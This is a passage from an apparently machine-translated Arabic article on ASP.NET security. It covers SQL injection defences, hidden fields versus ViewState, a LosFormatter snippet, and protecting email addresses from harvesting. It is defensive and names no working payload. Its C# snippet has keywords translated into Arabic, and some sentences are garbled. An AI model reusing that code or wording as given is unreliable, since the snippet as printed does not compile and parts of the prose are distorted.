| • | استخدم أذونات SQL Server لتحديد ما يمكن للمستخدمين الفرديين القيام به في قاعدة البيانات. على سبيل المثال، قد تحتاج إلى تعطيل xp_cmdshell أو قصر العملية على المسؤولين فقط. |
إذا كنت تستخدم الإجراءات المخزنة، فيمكنك تقليل احتمالية حدوث هذا الهجوم بشكل كبير. في الواقع، مع الإجراءات المخزنة، لا تحتاج إلى إنشاء سلاسل SQL بشكل ديناميكي. بالإضافة إلى ذلك، سيتحقق SQL Server من أن كافة المعلمات لها النوع المحدد. على الرغم من أن هذه التقنيات وحدها ليست آمنة بنسبة 100%، إلى جانب التحقق، إلا أنها ستكون كافية لتحسين الأمان.
والأهم من ذلك، يجب عليك التأكد من أن المستخدمين المصرح لهم فقط هم من يمكنهم تنفيذ العمليات التي قد تكون لها عواقب وخيمة، مثل حذف جدول. وهذا يتطلب تصميمًا دقيقًا للطبقة الوسطى للتطبيق. الأسلوب الجيد (ليس فقط من أجل السلامة) هو الحفاظ على التركيز على الشخصية. يجب تجميع المستخدمين في أدوار وحساب محدد بحد أدنى من الأذونات لكل دور.
قبل بضعة أسابيع، تعرض موقع Wintellect الإلكتروني لهجوم معقد للغاية باستخدام حقن SQL. حاول المتسلل إنشاء برنامج نصي لـ FTP وتشغيله لتنزيل برنامج قابل للتنفيذ قد يكون ضارًا. ولحسن الحظ، فشل الهجوم. أم أن مصادقة المستخدم القوية واستخدام الإجراءات المخزنة واستخدام أذونات SQL Server هي التي تسببت في فشل الهجوم؟
باختصار، يجب عليك اتباع هذه الإرشادات لتجنب حقن تعليمات برمجية SQL ضارة:
| • | التشغيل باستخدام أقل عدد ممكن من الامتيازات وعدم تنفيذ تعليمات برمجية مثل "sa" مطلقًا. |
| • | تقييد الوصول إلى الإجراءات المخزنة المضمنة. |
| • | تفضل استخدام الاستعلامات ذات معلمات SQL. |
| • | لا يتم إنشاء بيانات من خلال تسلسل السلسلة ولا يردد أخطاء قاعدة البيانات. |
في ASP التقليدي، كانت الحقول المخفية هي الطريقة الوحيدة للاحتفاظ بالبيانات بين الطلبات. يتم تعبئة أي بيانات تحتاج إلى استردادها عند الطلب التالي في حقل <input> المخفي ويتم تنفيذ تمرير الإرجاع. ماذا يحدث إذا قام شخص ما بتعديل القيمة المخزنة في هذا الحقل على العميل؟ طالما أن النص واضح، فلن تتمكن البيئة من جانب الخادم من اكتشاف ذلك. في ASP.NET، خاصية ViewState للصفحة ولكل عنصر تحكم لها غرضان. من ناحية، يعد ViewState وسيلة لاستمرار الحالة عبر الطلبات؛ ومن ناحية أخرى، يتيح لك ViewState تخزين القيم المخصصة في الحقول المخفية المحمية ولا يمكن التلاعب بها بسهولة.
كما هو موضح في الشكل 2، يتم إلحاق حالة العرض بقيمة تجزئة، ولكل طلب، يتم التحقق من هذه القيمة لاكتشاف ما إذا كان قد حدث تلاعب أم لا. باستثناء حالات قليلة، لا يوجد سبب لاستخدام الحقول المخفية في ASP.NET. تحقق حالة العرض نفس الوظيفة بطريقة أكثر أمانًا. كما ذكرنا على الفور، فإن تخزين القيم الحساسة (مثل الأسعار أو تفاصيل بطاقة الائتمان) في الحقول المخفية بشكل واضح يفتح الباب أمام المتسللين؛ كما يمكن أن يجعل هذه الممارسة السيئة أكثر أمانًا من ذي قبل، نظرًا لأن حالة العرض لها آلية حماية البيانات. ومع ذلك، ضع في اعتبارك أن حالة العرض مقاومة للتلاعب، ولكن السرية غير مضمونة ما لم يتم استخدام التشفير - فتفاصيل بطاقة الائتمان المخزنة في حالة العرض معرضة للخطر على أي حال.
في ASP.NET، متى يكون من المقبول استخدام الحقول المخفية؟ عندما تقوم بإنشاء عنصر تحكم مخصص يحتاج إلى إرسال البيانات مرة أخرى إلى الخادم. على سبيل المثال، افترض أنك تريد إنشاء عنصر تحكم DataGrid جديد يدعم إعادة ترتيب الأعمدة. تحتاج إلى إرسال الطلب الجديد مرة أخرى إلى الخادم في إعادة النشر. إذا لم يتم تخزين هذه المعلومات في حقل مخفي، فأين يمكن تخزينها؟
إذا كان الحقل المخفي عبارة عن حقل قراءة/كتابة، أي أنه من المتوقع أن يكتب العميل إليه، فلا توجد طريقة لمنع هجوم القراصنة بشكل كامل. يمكنك محاولة تجزئة النص أو تشفيره، لكن هذا لا يمنحك ثقة معقولة بأنه لن يتم اختراقه. في هذه المرحلة، أفضل دفاع هو أن يحتوي الحقل المخفي على معلومات خاملة وغير ضارة.
بالإضافة إلى ذلك، تجدر الإشارة إلى أن ASP.NET يعرض فئة غير معروفة يمكن استخدامها لتشفير وتجزئة أي كائن متسلسل. هذه الفئة هي LosFormatter ، وهي نفس الفئة التي تنفذها ViewState لإنشاء عمليات رد اتصال للعميل لترميز النص.
سلسلة خاصة EncodeText (نص السلسلة) {
StringWriterwriter = new StringWriter();
LosFormatter formatter = new LosFormatter();
formatter.Serialize(writer, text);
إرجاع الكاتب.ToString();
}
يوضح مقتطف التعليمات البرمجية السابق كيفية استخدام LosFormatter لإنشاء شيء مثل حالة العرض، وترميزها، وتجزئتها.
في نهاية هذه المقالة، اسمحوا لي أن أشير إلى أن اثنتين على الأقل من الهجمات الأكثر شيوعًا (XSS الكلاسيكية والنقرة الواحدة) تتم عادةً عن طريق إغراء الضحايا المطمئنين للنقر على الرابط المغري والمخادع الذي يبدأه الرابط. في كثير من الأحيان يمكننا العثور على مثل هذه الروابط في صندوق الوارد الخاص بنا، على الرغم من مرشحات مكافحة البريد العشوائي. يمكنك شراء الكثير من عناوين البريد الإلكتروني مقابل بضعة دولارات. إحدى التقنيات الرئيسية المستخدمة لإنشاء مثل هذه القوائم هي فحص الصفحات العامة على موقع ويب للعثور على أي شيء يشبه رسالة بريد إلكتروني واسترداده.
إذا تم عرض عنوان بريد إلكتروني على الصفحة، فمن المحتمل أن يتم التقاط العنوان عاجلاً أم آجلاً بواسطة برنامج ويب تلقائي. حقًا؟ وبطبيعة الحال، هذا يعتمد على كيفية عرض البريد الإلكتروني. إذا قمت بتشفيرها، فستخسر. ليس من الواضح أن استخدام تمثيلات أخرى (مثل dino-at-microsoft-dot-com ) سيخدع برامج الويب الآلية ، ولكنه بالتأكيد سيجعل أي شخص يقرأ صفحتك يريد إجراء اتصال مشروع.
بشكل عام ، يجب عليك تحديد طريقة لإنشاء رسائل بريد إلكتروني ديناميكيًا كروابط Mailto . مكون مجاني كتبه ماركو بيليناسو يفعل ذلك تمامًا. يمكنك الحصول على رمز المصدر الكامل لهذا المكون من موقع ويب dotnet2themax .
هل يشتبه أي شخص في أن الويب قد يكون أكثر بيئات وقت التشغيل؟ السبب الجذري هو أنه يمكن لأي شخص الوصول إلى موقع ويب ومحاولة تمرير بيانات جيدة أو سيئة إليه. ولكن ما الهدف من إنشاء تطبيق ويب لا يقبل إدخال المستخدم؟
دعنا نواجه الأمر: بغض النظر عن مدى قوة جدار الحماية الخاص بك ، بغض النظر عن مدى تطبيق تصحيحات متاحة ، طالما أنك تقوم بتشغيل تطبيق ويب يحتوي على عيوب متأصلة ، فإن المهاجم عاجلاً أم آجلاً سيتمكن من الوصول مباشرة إلى القناة الرئيسية ، وهو المنفذ 80. الوصول إلى قلب نظامك.
تطبيقات ASP.NET ليست أكثر عرضة للخطر ولا أكثر أمانًا من تطبيقات الويب الأخرى. الأمن ونقاط الضعف متجذرة على قدم المساواة في ممارسات الترميز ، وخبرة في العالم الحقيقي ، والعمل الجماعي. إذا كانت الشبكة غير آمنة ، فلا يوجد تطبيق آمن ؛
تتمثل فائدة ASP.NET في أنها توفر بعض الأدوات الجيدة التي يمكن ، مع القليل من العمل ، رفع معايير الأمان إلى مستوى مقبول. بالطبع ، هذا ليس مستوى مرتفعًا بما يكفي. يجب ألا تعتمد على حلول ASP.NET المدمجة ، ولا ينبغي أن تتجاهلها. تعلم قدر الإمكان حول الهجمات المشتركة.
توفر هذه المقالة قائمة مشروحة بالميزات المدمجة ، بالإضافة إلى بعض الخلفية حول الهجمات والدفاعات. التقنيات المستخدمة لاكتشاف الهجمات الصادرة هي مسألة أخرى وربما تستحق مقالتها الخاصة.